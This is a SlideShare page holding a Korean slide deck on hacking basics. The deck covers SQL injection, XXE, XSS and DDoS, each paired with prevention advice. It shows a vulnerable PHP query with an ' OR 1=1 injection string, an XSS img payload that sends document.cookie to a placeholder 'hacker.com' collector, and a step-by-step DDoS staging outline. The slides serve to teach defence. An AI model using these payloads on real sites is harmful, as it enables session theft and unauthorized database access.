SlideShare a Scribd company logo
1 of 16
해킹 기법과 기본상식
- isaac
해킹
• 제작자 or 설계자의 의도에 반하는 동작을 고의적으로 일으
키거나 체계내에서 주어진 권한 이상으로 정보를 열람, 변
경하는 모든 행위
+
인젝션(삽입)
• 환경변수, 파라미터, 내/외부 웹 서비스 등의 데이터 소스를 이용한 공격기법
• SQL 인젝션(악의적 쿼리를 조작해 날려 데이터베이스를 비정상적으로 조작)
• DDL 인젝션(다른 프로세스의 주소공간내에서 DDL 파일을 강제로드) - 외부프로그
램 사용
$username = $_POST[“username”];
$password = $_POST[“password”];
$mysqli->query("SELECT * FROM users WHERE username='{$username}' AND
password=‘{$password}’");
————————————————————————————————————————————————————————————————————
+ password' OR 1=1
인젝션(삽입) 예방
• 매개변수화된 인터페이스를 제공하는 안전한 API를 사용
하거나 ORMs 툴을 사용하도록 마이그레이션 하는 것
• 서버측 “화이트리스트”나 적극적인 입력값 유효성 검증
• 남은 동적 쿼리들을 위하여 특정 필터링 구문을 사용하여
인터프리터에 대한 특수 문자를 필터링 처리
XXE(Xml eXternal Entity)
• Xml 공격코드를 주입시켜 실행시키는 응용프로그램에 대
한 공격
XXE(Xml eXternal Entity) 예방
• 애플리케이션이나 운영체제에서 사용중인 모든 XML 프로
세서와 라이브러리를 패치하거나 업그레이드
• JSON과 같은 덜 복잡한 데이터 형식을 사용
• XML이나 XSL 파일 업로드 기능이 XSD 검증기 같은 것을
사용해서 XML이 유효한 내용인지 확인하고 검증
XSS(Cross-Site Scripting)
• 웹사이트 관리자가 아닌 이가 웹 페이지에 악성 스크립트를 삽입
• 애플리케이션에서 브라우저로 전송하는 페이지에서 사용자가 입력하는 데이터
를 검증하지 않거나, 출력 시 위험 데이터를 무효화 시키지 않을 때 발생
<p><?php echo htmlspecialchars($name); ?>님의 말: </p>
<?php echo $content; ?>
————————————————————————————————————————————————————————-
<p>Hello! I am a hacker.</p>
<img src="#" width="0" height="0"
onerror="this.src='http://hacker.com/gatherCookie.php?cookie='+encodeURI
Component(document.cookie);" />
XSS(Cross-Site Scripting) 예방
• 최신 Ruby on Rails, React JS와 같이 XSS를 자동으로 필
터링 처리하는 프레임워크를 사용
• 특수문자(<, >, ;, ...)에 대해서 지정된 HTML Entity 문자로
치환시켜 특정 동적함수를 실행하지 못하게 방지
DDOS(Distributed DoS)
• DOS :시스템을 악의적으로 공격해 해당 시스템의 자원을
부족하게 하여 원래 의도된 용도로 사용하지 못하게 하는
공격
DDOS(Distributed DoS) 공격순서
• (1) 관리자가 모든 시스템을 세세하게 관리할 수 없는 곳에 계정을
획득하여 스니핑이나 스푸핑, 버퍼 오버플로우 등의 공격으
로 설치 권한이나 루트 권한을 획득
• (2) 잠재적인 공격 대상을 파악하기 위해 네트워크 블록 별로 스캐
닝을 실시하여 원격지에서 버퍼 오버플로우를 일으킬 수 있는 취
약한 서비스를 제공하는 서버를 파악한다.
• (3) 취약한 시스템의 리스트를 확인한 뒤, 실제 공격을 위한 Exploit
를 작성
• (4) 권한을 획득한 시스템에 침투하여 Exploit를 컴파일하여 설치
한다.
• (5) 설치한 Exploit로 공격을 시작한다.
* 스니핑
• 네트워크상에서 자신이 아닌 다른 상대방들의 패킷 교환
을 훔쳐보는 행위
* 스푸핑
• 직접적으로 시스템에 침입을 시도하지 않고 피해자가 공격
자의 악의적인 시도에 의한 잘못된 정보, 혹은 연결을 신
뢰하게 끔 만드는 일련의 기법
* 버퍼 오버플로우(buffer overflow)
• 버퍼(데이터 임시 저장 공간)에 일정크기이상의 데이터를
입력하여 프로그램의 종료나 의도치 않은 작동을 일으키는
기법 (c or c++)
참조 사이트
• https://ko.wikipedia.org/wiki/
• https://m.blog.naver.com/PostView.nhn?blogId=itexpert2007&
logNo=30027367030&proxyReferer=https%3A%2F%2Fwww.
google.com%2F
• https://mozzihacker.tistory.com/17
• http://www.kisa.or.kr/uploadfile/201312/20131216135510956
6.pdf
• https://www.owasp.org/images/b/bd/OWASP_Top_10-2017-
ko.pdf

More Related Content

Similar to 해킹 기법과 기본상식 by issac

[D2 campus seminar]개발자가 꼭 알아야 할 보안이야기
[D2 campus seminar]개발자가 꼭 알아야 할 보안이야기[D2 campus seminar]개발자가 꼭 알아야 할 보안이야기
[D2 campus seminar]개발자가 꼭 알아야 할 보안이야기NAVER D2
 
Springcamp 2015 - xss는 네가 맡아라
Springcamp 2015 - xss는 네가 맡아라Springcamp 2015 - xss는 네가 맡아라
Springcamp 2015 - xss는 네가 맡아라Hyeong-Kyu Lee
 
(120128) #fitalk sql server forensics
(120128) #fitalk   sql server forensics(120128) #fitalk   sql server forensics
(120128) #fitalk sql server forensicsINSIGHT FORENSIC
 
(130622) #fitalk the stealing windows password
(130622) #fitalk   the stealing windows password(130622) #fitalk   the stealing windows password
(130622) #fitalk the stealing windows passwordINSIGHT FORENSIC
 
[네이버D2SF] 안전한 서비스 운영을 위한 Ncloud 보안교육
[네이버D2SF] 안전한 서비스 운영을 위한 Ncloud 보안교육[네이버D2SF] 안전한 서비스 운영을 위한 Ncloud 보안교육
[네이버D2SF] 안전한 서비스 운영을 위한 Ncloud 보안교육NAVER D2 STARTUP FACTORY
 
(140407) #fitalk d trace를 이용한 악성코드 동적 분석
(140407) #fitalk   d trace를 이용한 악성코드 동적 분석(140407) #fitalk   d trace를 이용한 악성코드 동적 분석
(140407) #fitalk d trace를 이용한 악성코드 동적 분석INSIGHT FORENSIC
 
Web vulnerability seminar3
Web vulnerability seminar3Web vulnerability seminar3
Web vulnerability seminar3Sakuya Izayoi
 
14 06-20 정보공유세미나(vpn 및 공유기 해킹 사례)
14 06-20 정보공유세미나(vpn 및 공유기 해킹 사례)14 06-20 정보공유세미나(vpn 및 공유기 해킹 사례)
14 06-20 정보공유세미나(vpn 및 공유기 해킹 사례)JaeChun Lee
 
파이널프로젝트 발표자료 Ob_20211101 (2)
파이널프로젝트 발표자료 Ob_20211101 (2)파이널프로젝트 발표자료 Ob_20211101 (2)
파이널프로젝트 발표자료 Ob_20211101 (2)kangsumin
 
Sqlinjection - union based
Sqlinjection - union basedSqlinjection - union based
Sqlinjection - union basedMinJeong Lee
 
컴퓨터보안.pptx
컴퓨터보안.pptx컴퓨터보안.pptx
컴퓨터보안.pptxdalonn
 
(130216) #fitalk reverse connection tool analysis
(130216) #fitalk   reverse connection tool analysis(130216) #fitalk   reverse connection tool analysis
(130216) #fitalk reverse connection tool analysisINSIGHT FORENSIC
 
Web App Security 2015.10
Web App Security 2015.10Web App Security 2015.10
Web App Security 2015.10Chanjin Park
 

Similar to 해킹 기법과 기본상식 by issac (15)

[D2 campus seminar]개발자가 꼭 알아야 할 보안이야기
[D2 campus seminar]개발자가 꼭 알아야 할 보안이야기[D2 campus seminar]개발자가 꼭 알아야 할 보안이야기
[D2 campus seminar]개발자가 꼭 알아야 할 보안이야기
 
Springcamp 2015 - xss는 네가 맡아라
Springcamp 2015 - xss는 네가 맡아라Springcamp 2015 - xss는 네가 맡아라
Springcamp 2015 - xss는 네가 맡아라
 
Web hacking 개요
Web hacking 개요Web hacking 개요
Web hacking 개요
 
(120128) #fitalk sql server forensics
(120128) #fitalk   sql server forensics(120128) #fitalk   sql server forensics
(120128) #fitalk sql server forensics
 
OWASP TOP 10 in 2007
OWASP TOP 10 in 2007OWASP TOP 10 in 2007
OWASP TOP 10 in 2007
 
(130622) #fitalk the stealing windows password
(130622) #fitalk   the stealing windows password(130622) #fitalk   the stealing windows password
(130622) #fitalk the stealing windows password
 
[네이버D2SF] 안전한 서비스 운영을 위한 Ncloud 보안교육
[네이버D2SF] 안전한 서비스 운영을 위한 Ncloud 보안교육[네이버D2SF] 안전한 서비스 운영을 위한 Ncloud 보안교육
[네이버D2SF] 안전한 서비스 운영을 위한 Ncloud 보안교육
 
(140407) #fitalk d trace를 이용한 악성코드 동적 분석
(140407) #fitalk   d trace를 이용한 악성코드 동적 분석(140407) #fitalk   d trace를 이용한 악성코드 동적 분석
(140407) #fitalk d trace를 이용한 악성코드 동적 분석
 
Web vulnerability seminar3
Web vulnerability seminar3Web vulnerability seminar3
Web vulnerability seminar3
 
14 06-20 정보공유세미나(vpn 및 공유기 해킹 사례)
14 06-20 정보공유세미나(vpn 및 공유기 해킹 사례)14 06-20 정보공유세미나(vpn 및 공유기 해킹 사례)
14 06-20 정보공유세미나(vpn 및 공유기 해킹 사례)
 
파이널프로젝트 발표자료 Ob_20211101 (2)
파이널프로젝트 발표자료 Ob_20211101 (2)파이널프로젝트 발표자료 Ob_20211101 (2)
파이널프로젝트 발표자료 Ob_20211101 (2)
 
Sqlinjection - union based
Sqlinjection - union basedSqlinjection - union based
Sqlinjection - union based
 
컴퓨터보안.pptx
컴퓨터보안.pptx컴퓨터보안.pptx
컴퓨터보안.pptx
 
(130216) #fitalk reverse connection tool analysis
(130216) #fitalk   reverse connection tool analysis(130216) #fitalk   reverse connection tool analysis
(130216) #fitalk reverse connection tool analysis
 
Web App Security 2015.10
Web App Security 2015.10Web App Security 2015.10
Web App Security 2015.10
 

More from Herren

가용성을 고려한 웹 서비스 인프라 설계
가용성을 고려한 웹 서비스 인프라 설계가용성을 고려한 웹 서비스 인프라 설계
가용성을 고려한 웹 서비스 인프라 설계Herren
 
Web server
Web serverWeb server
Web serverHerren
 
클린코드와 테스트코드
클린코드와 테스트코드클린코드와 테스트코드
클린코드와 테스트코드Herren
 
누구도 알려주지 않는 크롤링의 함정
누구도 알려주지 않는 크롤링의 함정누구도 알려주지 않는 크롤링의 함정
누구도 알려주지 않는 크롤링의 함정Herren
 
앤젤핵 해커톤 우승한 썰
앤젤핵 해커톤 우승한 썰앤젤핵 해커톤 우승한 썰
앤젤핵 해커톤 우승한 썰Herren
 
무쓸모톤 간 썰
무쓸모톤 간 썰무쓸모톤 간 썰
무쓸모톤 간 썰Herren
 
클린코드와 TDD
클린코드와 TDD클린코드와 TDD
클린코드와 TDDHerren
 
Python class
Python classPython class
Python classHerren
 
Android 9.0 변경점
Android 9.0 변경점Android 9.0 변경점
Android 9.0 변경점Herren
 
Development story
Development storyDevelopment story
Development storyHerren
 
Swift_history
Swift_historySwift_history
Swift_historyHerren
 
Javascript 생태계
Javascript 생태계Javascript 생태계
Javascript 생태계Herren
 
UI UX by luna
UI UX by lunaUI UX by luna
UI UX by lunaHerren
 
API 개념
API 개념API 개념
API 개념Herren
 

More from Herren (15)

가용성을 고려한 웹 서비스 인프라 설계
가용성을 고려한 웹 서비스 인프라 설계가용성을 고려한 웹 서비스 인프라 설계
가용성을 고려한 웹 서비스 인프라 설계
 
Web server
Web serverWeb server
Web server
 
클린코드와 테스트코드
클린코드와 테스트코드클린코드와 테스트코드
클린코드와 테스트코드
 
누구도 알려주지 않는 크롤링의 함정
누구도 알려주지 않는 크롤링의 함정누구도 알려주지 않는 크롤링의 함정
누구도 알려주지 않는 크롤링의 함정
 
앤젤핵 해커톤 우승한 썰
앤젤핵 해커톤 우승한 썰앤젤핵 해커톤 우승한 썰
앤젤핵 해커톤 우승한 썰
 
무쓸모톤 간 썰
무쓸모톤 간 썰무쓸모톤 간 썰
무쓸모톤 간 썰
 
클린코드와 TDD
클린코드와 TDD클린코드와 TDD
클린코드와 TDD
 
Python class
Python classPython class
Python class
 
Android 9.0 변경점
Android 9.0 변경점Android 9.0 변경점
Android 9.0 변경점
 
Development story
Development storyDevelopment story
Development story
 
Swift_history
Swift_historySwift_history
Swift_history
 
Javascript 생태계
Javascript 생태계Javascript 생태계
Javascript 생태계
 
IOS
IOSIOS
IOS
 
UI UX by luna
UI UX by lunaUI UX by luna
UI UX by luna
 
API 개념
API 개념API 개념
API 개념
 

해킹 기법과 기본상식 by issac

  • 2. 해킹 • 제작자 or 설계자의 의도에 반하는 동작을 고의적으로 일으 키거나 체계내에서 주어진 권한 이상으로 정보를 열람, 변 경하는 모든 행위
  • 3.
  • 4. +
  • 5. 인젝션(삽입) • 환경변수, 파라미터, 내/외부 웹 서비스 등의 데이터 소스를 이용한 공격기법 • SQL 인젝션(악의적 쿼리를 조작해 날려 데이터베이스를 비정상적으로 조작) • DDL 인젝션(다른 프로세스의 주소공간내에서 DDL 파일을 강제로드) - 외부프로그 램 사용 $username = $_POST[“username”]; $password = $_POST[“password”]; $mysqli->query("SELECT * FROM users WHERE username='{$username}' AND password=‘{$password}’"); ———————————————————————————————————————————————————————————————————— + password' OR 1=1
  • 6. 인젝션(삽입) 예방 • 매개변수화된 인터페이스를 제공하는 안전한 API를 사용 하거나 ORMs 툴을 사용하도록 마이그레이션 하는 것 • 서버측 “화이트리스트”나 적극적인 입력값 유효성 검증 • 남은 동적 쿼리들을 위하여 특정 필터링 구문을 사용하여 인터프리터에 대한 특수 문자를 필터링 처리
  • 7. XXE(Xml eXternal Entity) • Xml 공격코드를 주입시켜 실행시키는 응용프로그램에 대 한 공격
  • 8. XXE(Xml eXternal Entity) 예방 • 애플리케이션이나 운영체제에서 사용중인 모든 XML 프로 세서와 라이브러리를 패치하거나 업그레이드 • JSON과 같은 덜 복잡한 데이터 형식을 사용 • XML이나 XSL 파일 업로드 기능이 XSD 검증기 같은 것을 사용해서 XML이 유효한 내용인지 확인하고 검증
  • 9. XSS(Cross-Site Scripting) • 웹사이트 관리자가 아닌 이가 웹 페이지에 악성 스크립트를 삽입 • 애플리케이션에서 브라우저로 전송하는 페이지에서 사용자가 입력하는 데이터 를 검증하지 않거나, 출력 시 위험 데이터를 무효화 시키지 않을 때 발생 <p><?php echo htmlspecialchars($name); ?>님의 말: </p> <?php echo $content; ?> ————————————————————————————————————————————————————————- <p>Hello! I am a hacker.</p> <img src="#" width="0" height="0" onerror="this.src='http://hacker.com/gatherCookie.php?cookie='+encodeURI Component(document.cookie);" />
  • 10. XSS(Cross-Site Scripting) 예방 • 최신 Ruby on Rails, React JS와 같이 XSS를 자동으로 필 터링 처리하는 프레임워크를 사용 • 특수문자(<, >, ;, ...)에 대해서 지정된 HTML Entity 문자로 치환시켜 특정 동적함수를 실행하지 못하게 방지
  • 11. DDOS(Distributed DoS) • DOS :시스템을 악의적으로 공격해 해당 시스템의 자원을 부족하게 하여 원래 의도된 용도로 사용하지 못하게 하는 공격
  • 12. DDOS(Distributed DoS) 공격순서 • (1) 관리자가 모든 시스템을 세세하게 관리할 수 없는 곳에 계정을 획득하여 스니핑이나 스푸핑, 버퍼 오버플로우 등의 공격으 로 설치 권한이나 루트 권한을 획득 • (2) 잠재적인 공격 대상을 파악하기 위해 네트워크 블록 별로 스캐 닝을 실시하여 원격지에서 버퍼 오버플로우를 일으킬 수 있는 취 약한 서비스를 제공하는 서버를 파악한다. • (3) 취약한 시스템의 리스트를 확인한 뒤, 실제 공격을 위한 Exploit 를 작성 • (4) 권한을 획득한 시스템에 침투하여 Exploit를 컴파일하여 설치 한다. • (5) 설치한 Exploit로 공격을 시작한다.
  • 13. * 스니핑 • 네트워크상에서 자신이 아닌 다른 상대방들의 패킷 교환 을 훔쳐보는 행위
  • 14. * 스푸핑 • 직접적으로 시스템에 침입을 시도하지 않고 피해자가 공격 자의 악의적인 시도에 의한 잘못된 정보, 혹은 연결을 신 뢰하게 끔 만드는 일련의 기법
  • 15. * 버퍼 오버플로우(buffer overflow) • 버퍼(데이터 임시 저장 공간)에 일정크기이상의 데이터를 입력하여 프로그램의 종료나 의도치 않은 작동을 일으키는 기법 (c or c++)
  • 16. 참조 사이트 • https://ko.wikipedia.org/wiki/ • https://m.blog.naver.com/PostView.nhn?blogId=itexpert2007& logNo=30027367030&proxyReferer=https%3A%2F%2Fwww. google.com%2F • https://mozzihacker.tistory.com/17 • http://www.kisa.or.kr/uploadfile/201312/20131216135510956 6.pdf • https://www.owasp.org/images/b/bd/OWASP_Top_10-2017- ko.pdf